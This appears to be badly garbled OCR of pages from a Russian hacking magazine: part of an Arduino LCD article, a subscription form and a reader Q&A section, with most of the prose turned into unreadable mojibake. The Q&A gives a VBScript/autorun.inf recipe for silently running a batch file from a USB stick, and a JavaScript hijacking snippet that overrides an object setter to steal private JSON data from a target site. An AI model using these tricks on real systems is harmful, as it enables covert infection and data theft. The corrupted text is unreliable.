«В проектах, связанных с 
накоплением какой-либо 
информации (например, 
GPS-координат), часто 
требуется нарастить объем 
доступной энергонезависимой 
памяти»
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ÃÉÅÎÏ ÎÆ ÂÔÅÆÓ. °ÏÅÏÊÅÆÓ ÌßÂÏÊ ÎÁ 10-20 Ë¯Í, Á ËÏÎËÑÆÓÎÏ ÎÁ 
ÞÓÏÍ ÐÑÏÓÏÙÉÌÅÆ ÏÎ ÔÇÆ É ÓÁË ÐÑÆÅÔÒÍÏÓÑÆÎ — ÐÑÁÃÅÁ ÐÏÅËÌßØÆÎ 
ËÏ ÃÖÏÅÔ analog0, ÐÏÞÓÏÍÔ ÐÑÉÅÆÓÒà ÐÑÉÐÁàÓÝ ÌÉÙÎÉÊ ÐÑÏÃÏÅÏË.
£ÏÈÝÍÆÍ ËÔÒÏØÆË ÙÓÜÑÆÃÏÊ ÄÑÆÂÆÎËÉ PLS É ÑÁÒÐÁàÆÍ ÒÎÁØÁÌÁ 
ÎÁ ËÏÎÓÁËÓÜ ÅÉÒÐÌÆà, Á ÈÁÓÆÍ — ÎÁ ÙÉÌÅ. °ÏÒÌÆ ÞÓÏÄÏ ÎÁÅÏ ÃÈàÓÝ 
ÍÏÎÓÁÇÎÜÊ ÐÑÏÃÏÅ É ÁËËÔÑÁÓÎÏ, ÐÏ ÏØÆÑÆÅÉ, ÈÁØÉÒÓÉÓÝ É ÎÁÐÁàÓÝ 
ÐÑÏÃÏÅËÉ ÏÓ ÅÉÒÐÌÆà Ë ÐÉÎÁÍ Arduino ÒÏÄÌÁÒÎÏ ÒÖÆÍÆ — ÂÌÁÄÏ, 
ÏÎÁ ÎÆÒÌÏÇÎÁà. ´ ÍÆÎà ÉÎÓÔÉÓÉÃÎÜÍ ÏÂÑÁÈÏÍ ÐÏÌÔØÉÌÏÒÝ ÔÐÑàÓÁÓÝ 
ÂÏÌÝÙÔß ØÁÒÓÝ ÐÏÅ ÅÉÒÐÌÆÊ.
¯ÅÆÎÆÍ ÐÏÌÔØÆÎÎÜÊ ÑÆÈÔÌÝÓÁÓ ÎÁ Arduino É ÈÁÄÑÔÈÉÍ ÐÆÑÃÜÊ 
ÓÆÒÓÏÃÜÊ ÒËÆÓØ-ÐÑÉÍÆÑ ÉÈ ËÁÓÁÌÏÄÁ LiquidCrystal. ®ÉØÆÄÏ ÎÆÓ ÎÁ 
ÞËÑÁÎÆ? ©ÌÉ ËÔØÁ ØÆÑÎÜÖ ËÃÁÅÑÁÓÉËÏÃ? ®Æ ÂÆÅÁ, ÒÁÍÏÆ ÃÑÆÍà 
ÐÏÅËÑÔÓÉÓÝ ÐÆÑÆÍÆÎÎÜÊ ÑÆÈÉÒÓÏÑ — ÔÃÆÑÆÎ, ØÓÏ-ÓÏ ÏÂàÈÁÓÆÌÝÎÏ 
ÐÏàÃÉÓÒà! £ ÞÓÏÍ ÒÌÔØÁÆ ÍÏÇÆÙÝ ÏÂÌÆÄØÆÎÎÏ ÃÈÅÏÖÎÔÓÝ — ÓÆÐÆÑÝ 

Ô ÓÆÂà ÆÒÓÝ ÐÆÑÃÜÊ ÙÉÌÅ ÒÏÂÒÓÃÆÎÎÏÄÏ ÉÈÄÏÓÏÃÌÆÎÉà. ®Ô É ÑÁÈ ÔÇ 
ÏÎ ÈÁÑÁÂÏÓÁÌ — ÍÏÇÎÏ ÈÁÏÅÎÏ ÆÄÏ ÑÔÒÉÕÉ×ÉÑÏÃÁÓÝ. £ ÒÃÏÆ ÃÑÆÍà 
à ÉÈÍÆÎÉÌ ÒÓÁÎÅÁÑÓÎÔß ÂÉÂÌÉÏÓÆËÔ ÓÁË, ØÓÏÂÜ ÒÉÍÃÏÌÜ ËÉÑÉÌÌÉ-
×Ü ËÏÑÑÆËÓÎÏ ÓÑÁÎÒÌÉÑÏÃÁÌÉÒÝ ÉÈ UTF-8 Ã ÈÎÁËÏÄÆÎÆÑÁÓÏÑ ÅÉÒ-
ÐÌÆà. ©ÚÉ ÐÏÒÌÆÅÎßß ÃÆÑÒÉß ÂÉÂÌÉÏÓÆËÉ ÎÁ github.com/mk90. z

PHREAKING

Совсем немного пайки — так и схема несложная...

Читать текст на родном языке всегда приятнее!

Типичный протошилд

Схема подключения ЖКИ-дисплея на HD44780



ÅÑÒÜ ÂÎÏÐÎÑÛ? °ÉÙÉ ÎÁ info@glc.ru ÉÌÉ ÈÃÏÎÉ ÐÏ ÂÆÒÐÌÁÓÎÜÍ 
ÓÆÌÆÕÏÎÁÍ 8(495)663-82-77 (ÅÌà ÍÏÒËÃÉØÆÊ) É 8 (800) 200-3-
999 (ÅÌà ÇÉÓÆÌÆÊ ÅÑÔÄÉÖ ÑÆÄÉÏÎÏÃ ±ÏÒÒÉÉ, ÁÂÏÎÆÎÓÏÃ ÒÆÓÆÊ 
³², ¢É¬ÁÊÎ É ÆÄÁÕÏÎ).

ПРОШУ ОФОРМИТЬ ПОДПИСКУ 
НА ЖУРНАЛ «ХАКЕР»

1.  ±ÁÈÂÏÑØÉÃÏ ÈÁÐÏÌÎÉ ÐÏÅÐÉÒÎÏÊ ËÔÐÏÎ É 
ËÃÉÓÁÎ×Éß, ÃÜÑÆÈÁÃ ÉÖ ÉÈ ÇÔÑÎÁÌÁ, ÒÅÆÌÁÃ 
ËÒÆÑÏËÏÐÉß ÉÌÉ ÑÁÒÐÆØÁÓÁÃ Ò ÒÁÊÓÁ shop.
glc.ru.

2. ¯ÐÌÁÓÉ ÐÏÅÐÉÒËÔ ØÆÑÆÈ ÌßÂÏÊ ÂÁÎË.
3.  £ÜÙÌÉ Ã ÑÆÅÁË×Éß ËÏÐÉß ÐÏÅÐÉÒÎÜÖ 

ÅÏËÔÍÆÎÓÏÃ — ËÔÐÏÎÁ É ËÃÉÓÁÎ×ÉÉ — 
ÌßÂÜÍ ÉÈ ÎÉÇÆÐÆÑÆØÉÒÌÆÎÎÜÖ ÒÐÏÒÏÂÏÃ:

• ÎÁ e-mail: subscribe@glc.ru;
• ÐÏ ÕÁËÒÔ: (495) 545-09-06;
• ÐÏØÓÏÊ ÐÏ ÁÅÑÆÒÔ: 115280, ÏÒËÃÁ,
ÔÌ. ¬ÆÎÉÎÒËÁà ²ÌÏÂÏÅÁ, 19, ¯ÍÆÄÁ ÐÌÁÈÁ, 
5 ÞÓ., ÏÕÉÒ � 21,
¯¯¯ «¤ÆÊÍ ¬ÞÎÅ», ÏÓÅÆÌ ÐÏÅÐÉÒËÉ.

£ÎÉÍÁÎÉÆ! ¦ÒÌÉ ÐÑÏÉÈÃÆÒÓÉ ÏÐÌÁÓÔ Ã ÁÃÄÔÒÓÆ, 
ÓÏ ÐÏÅÐÉÒËÔ ÍÏÇÎÏ ÏÕÏÑÍÉÓÝ Ò ÏËÓàÂÑà.

¦ÅÉÎÁà ×ÆÎÁ ÐÏ ÃÒÆÊ ±ÏÒÒÉÉ. ¥ÏÒÓÁÃËÁ 
ÈÁ ÒØÆÓ ÉÈÅÁÓÆÌà, Ã ÓÏÍ ØÉÒÌÆ ËÔÑÝÆÑÏÍ 
ÐÏ ÏÒËÃÆ Ã ÐÑÆÅÆÌÁÖ «¡¥

ÏÎÄÏÈÑÊÀ

12 ÍÎÌÅÐÎÂ — 2200 ÐÓÁ.

6 ÍÎÌÅÐÎÂ — 1260 ÐÓÁ.

ÃÎÄÎÂÀß 
ÝÊÎÍÎÌÈß

500 ðóá. 

ÓÇÍÀÉ, ÊÀÊ ÑÀÌÎÑÒÎßÒÅËÜÍÎ ÏÎËÓ×ÈÒÜ ÆÓÐÍÀË 
ÍÀÌÍÎÃÎ ÄÅØÅÂËÅ! 

ÏÐÈ ÏÎÄÏÈÑÊÅ ÍÀ ÊÎÌÏËÅÊÒ 
ÆÓÐÍÀËÎÂ  
ÆÅËÅÇÎ +  ÕÀÊÅÐ + 2 DVD: — ÎÄÈÍ 
ÍÎÌÅÐ ÂÑÅÃÎ ÇÀ 162 ÐÓÁËß 
(ÍÀ 35% ÄÅØÅÂËÅ, ×ÅÌ Â ÐÎÇÍÈÖÓ)

ÇÀ 12 ÌÅÑßÖÅÂ 3890 ÐÓÁËÅÉ (24 ÍÎÌÅÐÀ) 
ÇÀ 6 ÌÅÑßÖÅÂ 2205 ÐÓÁËÅÉ (12 ÍÎÌÅÐÎÂ)
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UNITS
²ÓÆÐÁÎ  «Step» ©ÌÝÉÎ  (twitter.com/stepah)

Q: Каким образом можно дешево поднять 
SIP-GSM-шлюз?
A: ¶ÏÑÏÙÉÊ ÐÏÅÁÑÏË Ã ÑÆÙÆÎÉÉ ÞÓÏÊ ÐÑÏ-
ÂÌÆÍÜ ÒÅÆÌÁÌÉ ÎÁÍ ÒÏÓÏÃÜÆ ÏÐÆÑÁÓÏÑÜ, 
ËÏÓÏÑÜÆ ÐÑÁËÓÉØÆÒËÉ ÂÆÒÐÌÁÓÎÏ ÑÁÈÅÁßÓ 
3G-ÍÏÅÆÍÜ ÐÏ ÑÁÈÎÜÍ ÁË×ÉàÍ. ®ÆÒÍÏÓÑà ÎÁ 
×ÃÆÓÁÒÓÜÆ ÌÏÄÏÓÉÐÜ, ÂÏÌÝÙÉÎÒÓÃÏ ÉÈ ÎÉÖ 
ÑÏÅÉÌÏÒÝ Ã «ÉÓÁÆ ÎÁ ÕÁÂÑÉËÁÖ ËÏÍÐÁÎÉÉ 
ZTE ÉÌÉ Huawei. °ÑÏÃÆÑÆÎÎÜÍ ÃÁÑÉÁÎÓÏÍ, 
ËÏÓÏÑÜÊ ÐÏÅÏÊÅÆÓ ÅÌà ÑÆÙÆÎÉà ÐÏÒÓÁÃ-
ÌÆÎÎÏÊ ÈÁÅÁØÉ, àÃÌàÆÓÒà Huawei e1550, 
ÔÍÆßÚÉÊ ÐÆÑÆÅÁÃÁÓÝ ÄÏÌÏÒ Ã GSM. ³ÔÓ 
ÎÁÅÏ ÒËÁÈÁÓÝ, ØÓÏ 3G-ÍÏÅÆÍÜ ÐÑÏÅÁßÓÒà 
ÈÁÌÏØÆÎÎÜÍÉ ÎÁ ËÏÎËÑÆÓÎÏÄÏ ÏÐÆÑÁÓÏÑÁ, 
Á ÃÏÈÍÏÇÎÏÒÓÉ ÅÌà ÄÏÌÏÒÏÃÏÄÏ ÏÂÚÆÎÉà Ô 
ÎÉÖ ÔÑÆÈÁÎÜ ÎÁ ÐÑÏÄÑÁÍÍÎÏÍ ÔÑÏÃÎÆ. © ÓÏ 
É ÅÑÔÄÏÆ ÂÆÈ ÓÑÔÅÁ ÏÂÖÏÅÉÓÒà Ò ÐÏÍÏÚÝß 
ÍÎÏÄÏØÉÒÌÆÎÎÜÖ ÉÎÒÓÑÔË×ÉÊ, ËÏÓÏÑÜÆ ÅÁÃ-
ÎÏ ÑÁÈÌÆÓÆÌÉÒÝ ÐÏ ÃÒÆÍÔ ÑÔÎÆÓÔ. ®Á ÕÏÑÔÍÁÖ 
ÆÒÓÝ É ÎÔÇÎÜÆ ÐÑÏÙÉÃËÉ — ËÏÑÏØÆ ÄÏÃÏÑà, 
ÍÁÌÆÎÝËÏÆ ÎÆÅÏÑÁÈÔÍÆÎÉÆ ÑÆÙÁÆÓÒà ÂÜÒÓÑÏ 
É ÎÆÅÏÑÏÄÏ. ³ÁËÉÍ ÏÂÑÁÈÏÍ, Ò ÐÏÍÏÚÝß 
ÔÒÓÑÏÊÒÓÃÁ, ËÏÓÏÑÏÆ ÒÓÏÉÓ ÅÃÆ ËÏÐÆÊËÉ, 
ÍÏÇÎÏ ÈÃÏÎÉÓÝ É ÐÑÉÎÉÍÁÓÝ ÃÖÏÅàÚÉÆ ÃÜ-
ÈÏÃÜ.
¶ÏÑÏÙÏ, ÎÏ ËÁË ÞÓÏ ÎÆ ÉÒÐÏÌÝÈÏÃÁÓÝ ÅÌà 
ÒÏÈÅÁÎÉà SIP-GSM-ÙÌßÈÁ? ®Á ËÏÍÐÝßÓÆÑ Ò 
ÐÏÅËÌßØÆÎÎÜÍ ÍÏÅÆÍÏÍ ÔÒÓÁÎÁÃÌÉÃÁÆÓÒà 
SIP-ËÌÉÆÎÓ, ËÏÓÏÑÜÊ ÅÆÑÄÁÆÓ ÄÏÌÏÒ Ã ÏÂÆ 
ÒÓÏÑÏÎÜ Ò ÞÓÏÄÏ ÍÏÅÆÍÁ É ÎÁÐÑÁÃÌàÆÓ ÎÁ 
SIP-ÒÆÑÃÆÑ (asterisk, oktell, sipnet É Ó.Å.). 
£ ÑÆÈÔÌÝÓÁÓÆ ÐÏÌÔØÁÆÓÒà GSM-SIP-ÙÌßÈ. 

¯ÒÏÂÏÄÏ ÃÎÉÍÁÎÉà ÈÅÆÒÝ ÈÁÒÌÔÇÉÃÁÆÓ 
ÐÑÏÄÑÁÍÍÁ Oktell SIP-GSM Gateway (www.
telsystems.ru/gateways), ËÏÓÏÑÔß ÒÐÆ×É-
ÁÌÝÎÏ ÑÁÈÑÁÂÏÓÁÌÉ ÅÌà ÒÏÈÅÁÎÉà ÙÌßÈÁ Ò 
ÉÒÐÏÌÝÈÏÃÁÎÉÆÍ 3G-ÍÏÅÆÍÏÃ. ®Á ÓÆËÔÚÉÊ 
ÍÏÍÆÎÓ ÐÏÅÅÆÑÇÉÃÁÆÓ ÒÌÆÅÔßÚÉÆ ÅÆÃÁÊÒÜ: 
Huawei E1550, Huawei E160g, ZTE MF180. 
³ÆÖÎÏÌÏÄÉà, ÎÁ ÒÁÍÏÍ ÅÆÌÆ, ÎÆ ÎÏÃÁà: ËÉ-
ÓÁÊ×Ü ÅÁÃÎÏ ÐÑÏÉÈÃÏÅàÓ ÙÌßÈÜ VoIP-GSM Ã 
ÇÆÌÆÈÎÏÍ ËÏÑÐÔÒÆ. ®Ï Ï×ÆÎÉ ÑÁÈÎÉ×Ô Ã ×ÆÎÆ: 
ÒÓÏÉÍÏÒÓÝ ÓÁËÏÄÏ ÅÆÃÁÊÒÁ ÎÁ ÏÅÎÔ ÒÉÍËÔ ÎÁ-
ØÉÎÁÆÓÒà ÏÓ $300 (ÍÏÅÆÍ, ÎÁÐÏÍÎß, ÐÑÏÅÁßÓ 
ÈÁ 700-800 ÑÔÂÌÆÊ, Á ÓÏ É ÃÏÃÒÆ ÅÁÑàÓ). £ÏÈ-
ÍÏÇÎÏ, Ã ÂÌÉÇÁÊÙÉÖ ÎÏÍÆÑÁÖ ÍÜ ÒÅÆÌÁÆÍ ÏÂ 
ÞÓÏÍ ÐÏÅÑÏÂÎÔß ÒÓÁÓÝß. ¡ ÐÏËÁ ÑÆËÏÍÆÎÅÔß 
ÐÏØÉÓÁÓÝ bit.ly/aNNQTD.

Q: В Adobe Flash есть опция для преобра-
зования SWF-файлов в iOS-приложения. 
Кажется, со стороны Apple некоторое 
время даже был запрет на использова-
ние подобных технологий, позволяю-
щих создавать программы для iPhone/
iPad сторонними средствами. Скажи, 
имеет ли подобная функция право на 
существование или это просто пунктик в 
списке опций для красного словца?
A: ̈ Á ÏÓØÆÓÏÍ à ÏÂÑÁÓÉÌÒà Ë ÎÁÙÆÍÔ ÁÃÓÏÑÔ - 
¦ÃÄÆÎÉß «ÔÈÝÍÉÎÔ, ËÏÓÏÑÜÊ ÐÑÏÕÆÒÒÉÏÎÁÌÝ-
ÎÏ ÈÁÎÉÍÁÆÓÒà ÑÁÈÑÁÂÏÓËÏÊ ÐÏÅ iOS, É ÃÏÓ 
ØÓÏ ÏÎ ÏÓÃÆÓÉÌ: «¥Ìà ÏØÆÎÝ ÐÑÏÒÓÆ×ËÉÖ ÉÄÑ 
É ÎÆÒÌÏÇÎÜÖ ÐÑÉÌÏÇÆÎÉÊ, ÄÅÆ ÎÆÓ ÕÉÈÉËÉ, 

ËÔØÉ ÒÐÑÁÊÓÏÃ É ÐÑÏØÉÖ ÎÁÃÏÑÏÓÏÃ, ÓÁËÁà 
ÃÏÈÍÏÇÎÏÒÓÝ ÍÏÇÆÓ ÂÜÓÝ É ÒÄÏÅÉÓÒà. ®Ï ÅÌà 
ÒÆÑÝÆÈÎÜÖ ÑÁÈÑÁÂÏÓÏË ÏÎÁ, ØÆÒÓÎÏ ÒËÁÇÔ, 
ÒÌÉÙËÏÍ ÓÏÑÍÏÈÎÁà». ³ÁË ØÓÏ, ÔÃÜ, ÆÒÌÉ ÆÒÓÝ 
ÇÆÌÁÎÉÆ ÑÁÈÑÁÂÁÓÜÃÁÓÝ ÉÄÑÜ ÅÌà iPhone/
iPad, ÓÏ ÂÆÈ ÉÈÔØÆÎÉà Objective-C - ÎÉËÔÅÁ.

Q: Можно ли каким-нибудь образом не-
заметно запустить bat-файл с флешки?
A: ³ÆÐÆÑÝ, Ò ÔØÆÓÏÍ ÓÏÄÏ, ØÓÏ ËÏÍÐÁÎÉà 
Microsoft ÕÁËÓÉØÆÒËÉ ÏÓÑÔÂÉÌÁ ÃÏÈÍÏÇ-
ÎÏÒÓÝ ÁÃÓÏÈÁÐÔÒËÁ Ò ÕÌÆÙËÉ, ÒÅÆÌÁÓÝ ÞÓÏ 
ÂÔÅÆÓ ÎÆÌÆÄËÏ. ®Ï ÎÁ ÒÓÁÑÜÖ ÎÆÐÑÏÐÁÓØÆÎÎÜÖ 
ÒÉÒÓÆÍÁÖ ÒÑÁÂÏÓÁÆÓ ÓÁËÏÊ ÓÑßË:
1. ̈ ÁËÉÅÜÃÁÆÍ ÎÁ ÕÌÆÙËÔ myfile.vbs ÒÏ ÒÌÆ-
ÅÔßÚÉÍ ÒÏÅÆÑÇÁÎÉÆÍ:

Set WshShell = CreateObject(
   "WScript.Shell")
WshShell.Run "cmd.exe /c 
   [ǨǬǿ_BAT_ǴǠǩǫǠ]", 0, false

2. £ autorun.inf ÅÏÂÁÃÌàÆÍ ÒÌÆÅÔßÚÆÆ:

[AutoRun]
UseAutoPlay=1
open=myfi le.vbs

¯ÂÑÁÓÉ ÃÎÉÍÁÎÉÆ, ØÓÏ ÖÏÓà ÅÌà ÐÏÌÝÈÏÃÁÓÆÌà 
ÈÁÐÔÒË ÂÔÅÆÓ ÎÆÈÁÍÆÓÎÜÍ, ÎÆËÏÓÏÑÜÆ ÁÎÓÉ-
ÃÉÑÔÒÜ ÈÁÂÝßÓ ÓÑÆÃÏÄÔ É ÐÑÆÅÔÐÑÆÅàÓ ßÈÆÑÁ 
Ï ÐÏÅÏÈÑÉÓÆÌÝÎÜÖ ÕÁÊÌÁÖ ÎÁ USB-ÎÏÒÉÓÆÌÆ.

 faq
united?
Есть вопросы — присылай 
на faq@real.xakep.ru
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Q: Веду небольшой проект, который 
стремительно развивается. Поскольку 
через сайт ведутся операции с кре-
дитными картами, хочу обзавестись 
полноценным SSL-сертификатом. Под-
хожу к безопасности серьезно. Сколько 
стоит SSL-сертификат для сайта? Есть 
ли какой-то вариант получить его бес-
платно?
A: °ÏÌÎÏ×ÆÎÎÜÊ SSL-ÒÆÑÓÉÕÉËÁÓ, ËÁË ÓÜ 
ÐÑÁÃÉÌÝÎÏ ÐÏÎÉÍÁÆÙÝ, ÈÁ ÐÑÏÒÓÏ ÓÁË ÎÉËÓÏ 
ÎÆ ÃÜÅÁÆÓ. °ÑÁÃÅÁ, ÆÒÓÝ ÃÏÈÍÏÇÎÏÒÓÝ ÂÆÒ-
ÐÌÁÓÎÏ ÏÂÈÁÃÆÒÓÉÒÝ ÓÑÉÁÌÝÎÜÍ ÒÆÑÓÉÕÉ-
ËÁÓÏÍ ÎÁ ÏÄÑÁÎÉØÆÎÎÜÊ ÒÑÏË (ÎÁ 30 ÉÌÉ 90 
ÅÎÆÊ). ³ÆÒÓ-ÅÑÁÊÃ Ã ØÁÒÓÎÏÒÓÉ ÍÏÇÎÏ ÈÁËÁ-
ÈÁÓÝ ØÆÑÆÈ ÒÁÊÓ www.freessl.su. «ÁË ÄÏÃÏÑàÓ 
ÃÌÁÅÆÌÝ×Ü ÒÆÑÃÉÒÁ, «ÓÁËÏÊ ÒÆÑÓÉÕÉËÁÓ 
ÐÑÆÅÎÁÈÎÁØÆÎ ÅÌà ÓÆÒÓÉÑÏÃÁÎÉà ÓÆÖÎÉØÆ-
ÒËÏÊ ÉÎÕÑÁÒÓÑÔËÓÔÑÜ ÅÏ ÐÏËÔÐËÉ ËÏÍÍÆÑ-
ØÆÒËÏÄÏ SSL-ÒÆÑÓÉÕÉËÁÓÁ». ̧ ÓÏ ÔÅÏÂÎÏ, 
ÃÜÐÔÒËÁÆÓÒà ÏÎ Ã ÓÆØÆÎÉÆ ÎÆÒËÏÌÝËÉÖ ÍÉÎÔÓ, 
Á ÅÌà ÆÄÏ ÐÏÌÔØÆÎÉà ÅÏÒÓÁÓÏØÎÏ ÈÁÐÏÌÎÉÓÝ 
ÐÑÏÒÓÔß ÕÏÑÍÔ:

Your Name:
Example: John Smith 
Your E-mail:
Example: test@example.com 
Phone:
Example: 8(495)2295670 
Select the server software used to 
generate the CSR:
Example: Apache-SSL 
CSR:
Example: 
-----BEGIN CERTIFICATE REQUEST----- 
MIIDUDCCArkCAQAwdTEWMBQGA1UEAxMNdGVzd
C50ZXN0LmNvbTESMBAGA1UECxMJ 
TWFya2V0aW5nMREwDwYDVQQKEwhUZXN0IE9yZ
zESMBAGA1UEBxMJVGVzdCBDaXR5 
....... 
Rq+blLr5X5iQdzyF1pLqP1Mck5Ve1eCz0R9/
OekGSRno7ow4TVyxAF6J6ozDaw7e 
GisfZw40VLT0/6IGvK2jX0i+t58RFQ8WYTOcT
RlPnkG8B/uV 
-----END CERTIFICATE REQUEST-----

£ÏÐÑÏÒÜ ÍÏÇÆÓ ÃÜÈÃÁÓÝ ÓÏÌÝËÏ ÐÏÒÌÆÅÎÆÆ 
ÐÏÌÆ — CSR (Certificate Signing Request). 
²ßÅÁ ÎÔÇÎÏ ÃÒÓÁÃÉÓÝ ÉÎÕÏÑÍÁ×Éß Ï ÓÃÏÆÍ 
ÒÆÑÓÉÕÉËÁÓÆ, ÃËÌßØÁà ÐÔÂÌÉØÎÜÊ ËÌßØ 
(Public Key). ²ÄÆÎÆÑÉÑÏÃÁÓÝ ÆÄÏ ÍÏÇÎÏ ØÆÑÆÈ 

openssl (ÐÏÅÑÏÂÎÆÆ ØÉÓÁÊ Ã ÒÓÁÓÝÆ www.
freessl.su/articles/13). ¡ ØÓÏÂÜ ÐÏÅËÌßØÉÓÝ 
ÒÆÑÓÉÕÉËÁÓ ÐÏÓÑÆÂÔÆÓÒà ÎÁÒÓÑÏÊËÁ mod_ssl 
ÅÌà Apache (ÒØÉÓÁÆÍ, ØÓÏ Ã ËÁØÆÒÓÃÆ ÃÆÂ-
ÒÆÑÃÆÑÁ ÓÜ ÉÒÐÏÌÝÈÔÆÙÝ ÉÍÆÎÎÏ ÆÄÏ). £ÆÒÝ 
ÐÑÏ×ÆÒÒ ÐÏÙÁÄÏÃÏ ÏÐÉÒÁÎ Ã ÞÓÏÍ ÍÁÓÆÑÉÁÌÆ 
— www.freessl.su/articles/14.

Q: Объясни на пальцах, что такое 
JavaScript hijacking?
A: ¬ÔØÙÆ ÃÒÆÄÏ ÎÁ ÞÓÏÓ ÃÏÐÑÏÒ ÏÓÃÆÓÉÓ ÎÁÙ 
ÁÃÓÏÑ - ³ÁÑÁÒ ©ÃÁÚÆÎËÏ (oxdef.info). 
¡ÓÁËÁ ÉÈÃÆÒÓÎÁ ÅÏÒÓÁÓÏØÎÏ ÅÁÃÎÏ (ÒÓÁÓÝà ÐÏ 
ÓÆÍÆ - bit.ly/jOMIpv) É Ã ÓÆËÔÚÉÖ ÃÆÑÒÉàÖ ÂÏÌÝ-
ÙÉÎÒÓÃÁ ÃÆÂ-ÂÑÁÔÈÆÑÏÃ ÔÇÆ ÎÆÁËÓÔÁÌÝÎÁ. 
³ÆÍ ÎÆ ÍÆÎÆÆ, ÏÒÓÁßÓÒà ÒÓÁÑÜÆ ÃÆÂ-ÂÑÁÔÈÆÑÜ 
É ÃÁÑÉÁ×ÉÉ ÁÓÁËÉ Ò ÕÏÑÍÁÓÏÍ JSONP. £ ÅÃÔÖ 
ÒÌÏÃÁÖ, ÁÓÁËÁ ÏÒÎÏÃÁÎÁ ÎÁ ÃÏÈÍÏÇÎÏÒÓÉ Ã 
JavaScript ÐÆÑÆÏÐÑÆÅÆÌÉÓÝ «ÒÆÓÓÆÑÜ» ÅÌà 
ÒÃÏÊÒÓÃ ÏÂÛÆËÓÏÃ. 
¥ÏÐÔÒÓÉÍ, ÔàÈÃÉÍÏÆ ÃÆÂ-ÐÑÉÌÏÇÆÎÉÆ ÐÆÑÆ-
ÅÁÆÓ Ã JSON-ÕÏÑÍÁÓÆ ËÁËÉÆ-ÌÉÂÏ ËÑÉÓÉØÎÜÆ 
ÅÁÎÎÜÆ ÃÏÓ ÓÁË:

[{"foo":"private data"}]

¨ÌÏÔÍÜÙÌÆÎÎÉË ÍÏÇÆÓ ÒÅÆÌÁÓÝ ÒÐÆ×É-
ÁÌÝÎÔß ÒÓÑÁÎÉ×Ô Ò JS-ËÏÅÏÍ, Ã ËÏÓÏÑÏÍ 
ÐÆÑÆÏÐÑÆÅÆÌàÆÓ «ÒÆÓÓÆÑ» ÅÌà ÒÃÏÊÒÓÃ ÏÂÛ-
ÆËÓÁ. ³ÁËÉÍ ÏÂÑÁÈÏÍ, ÐÑÉ ÉÎÉ×ÉÁÌÉÈÁ×ÉÉ 
ÒÃÏÊÒÓÃÁ foo ÒÑÁÂÏÓÁÆÓ «ÓÑÉÄÄÆÑ», Ã ËÏÓÏÑÏÍ 
ÈÎÁØÆÎÉÆ ÞÓÏÄÏ ÐÏÌà É ÒÅÁÍÐÉÓÒà:

Object.prototype.__defi neSetter__
("foo", function(x) {
   var s = "";
   for (f in this) {
      s += f + ": ‘" + this[f] + "’, ";
   }
   s += "foo: " + x;
   // ȣșȤșȥȯȟȔșȠ ȥȦȤȢȞȧ s ȢȕȯȫȡȯȠ 
   // ȘȢȕȔȖȟșȡȜșȠ ȞȔȤȦȜȡȞȜ ȡȔ ȥȔȝȦ 
   // țȟȢȧȠȯȬȟșȡȡȜȞȔ
});
</script>
<script src="http://target.com/
private/data.js"></script>

² JSONP, Ò ÔØÆÓÏÍ ÆÄÏ ÐÑÆÅÎÁÈÎÁØÆÎÉà, 
ÆÚÆ ÐÑÏÚÆ: ÅÏÒÓÁÓÏØÎÏ ÐÑÏÒÓÏ ÐÆÑÆÅÁÓÝ Ã 
ËÁØÆÒÓÃÆ ÐÁÑÁÍÆÓÑÁ ÐÏÅËÌßØÁÆÍÏÄÏ ÒËÑÉÐÓÁ 

ÎÁÈÃÁÎÉÆ ÏÐÑÆÅÆÌÆÎÎÏÊ ÕÔÎË×ÉÉ. °ÏÌÔØÆÎ-
ÎÜÊ ÏÓÃÆÓ ÂÔÅÆÓ Ã ÓÁËÏÍ ÃÉÅÆ:

evilFunction({"paper": "A4", "count":
 5})

³Ï ÆÒÓÝ ÂÔÅÆÓ ÃÜÈÃÁÎÁ ÕÔÎË×Éà, ÏÐÑÆÅÆ-
ÌÆÎÎÁà ÈÌÏÔÍÜÙÌÆÎÎÉËÏÍ, Ã ËÏÓÏÑÔß ÂÔÅÆÓ 
ÐÆÑÆÅÁÎÁ Ã ËÁØÆÒÓÃÆ ÐÁÑÁÍÆÓÑÏÃ ÉÎÕÏÑÍÁ-
×Éà Ò ÔàÈÃÉÍÏÊ ÒÓÑÁÎÉ×Ü. 

Q: Передо мной стоит задача — создать 
мощное приложение, которое выгляде-
ло бы, как обычное десктопное. Какой 
фреймворк выбрать?
A: ÏÊ ÒÏÃÆÓ - ExtJS (www.sencha.com), ËÏÓÏ-
ÑÜÊ ÑÁÈÃÉÃÁÆÓÒà ÔÇÆ ÏØÆÎÝ ÅÁÃÎÏ É ÐÏÈÃÏÌàÆÓ 
ÑÁÈÑÁÂÁÓÜÃÁÓÝ ÃÆÂ-ÒÓÑÁÎÉ×Ü, ËÏÓÏÑÜÆ ÂÔÅÔÓ 
ÐÑÁËÓÉØÆÒËÉ ÎÆÏÓÌÉØÉÍÜ ÏÓ ÏÂÜØÎÏÄÏ ÐÑÉ-
ÌÏÇÆÎÉà. ¾ÌÆÍÆÎÓÜ ÉÎÓÆÑÕÆÊÒÁ, ÐÆÑÆÓÁÒËÉ-
ÃÁÎÉÆ, ÍÄÎÏÃÆÎÎÏÆ ÏÂÎÏÃÌÆÎÉÆ ÒÏÅÆÑÇÁÎÉà, 
ÏËÎÁ É ÓÁÒËÂÁÑÜ, ÍÏÚÎÜÆ ÓÁÂÌÉ×Ü — ÃÒÆ ÞÓÏ 
ÔÇÆ ÑÆÁÌÉÈÏÃÁÎÏ Ã ÏÅÎÏÍ, ÐÏØÓÉ ÍÆÄÁÂÁÊÓÎÏÍ 
ÕÁÊÌÉËÆ ËÏÅÁ. ExtJS ÐÑÆÅÏÒÓÁÃÌàÆÓ ËÏÍÐÏ-
ÎÆÎÓÎÔß ÍÏÅÆÌÝ ÐÏÒÓÑÏÆÎÉà, ÄÉÂËÔß ÒÉÒÓÆÍÔ 
ÒÓÉÌÉÈÁ×ÉÉ É ÑÁÒÙÉÑÆÎÉà àÈÜËÁ JavaScript 
ÅÌà ÂÏÌÆÆ ÔÅÏÂÎÏÊ ÑÁÈÑÁÂÏÓËÉ. ̈ Á ÞÓÏ, ËÏÎÆØ-
ÎÏ, ÐÑÉÖÏÅÉÓÒà ÐÌÁÓÉÓÝ ÒÎÉÇÆÎÉÆÍ ÐÑÏÉÈÃÏ-
ÅÉÓÆÌÝÎÏÒÓÉ, ÎÏ ÅÌà ÍÎÏÄÉÖ ÞÓÏ ÍÆÌÏØÝ.

Q: Как грамотно отсечь пользовате-
лей со старыми браузерами, выдав им 
предупреждение о необходимости 
обновиться?
